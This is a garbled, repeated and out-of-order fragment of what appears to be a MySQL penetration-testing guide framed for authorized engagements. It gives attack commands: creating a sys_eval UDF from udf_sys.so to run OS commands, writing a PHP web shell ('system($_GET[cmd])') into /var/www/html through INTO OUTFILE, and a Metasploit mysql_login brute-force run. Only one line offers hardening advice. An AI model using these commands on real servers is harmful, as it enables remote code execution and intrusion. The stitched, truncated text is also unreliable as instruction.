CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_sys.so'; Use code with caution. : SELECT sys_eval('id'); SELECT sys_eval('whoami'); Use code with caution. 6. Post-Exploitation and Lateral Movement
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
: Bind MySQL to 127.0.0.1 in your config file ( bind-address = 127.0.0.1 ) if external network connectivity is unnecessary. mysql hacktricks verified
This comprehensive guide details verified methodologies, commands, and techniques for enumerating, exploiting, and post-exploiting MySQL environments during authorized security engagements. 1. Initial Reconnaissance and Enumeration
use auxiliary/scanner/mysql/mysql_login set RHOSTS set USER_FILE /path/to/users.txt set PASS_FILE /path/to/passwords.txt run Use code with caution. 3. Post-Authentication Enumeration CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf_sys
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This flaw was largely fixed in MySQL 8.0 by adding proper privilege checks. However, certain joins and derived tables may still expose column or key names if permissions are misconfigured. Post-Exploitation and Lateral Movement SELECT '<
MySQL can issue HTTP requests via sys_exec() or SELECT ... INTO OUTFILE to write a port scanner script. But a verified light pivot: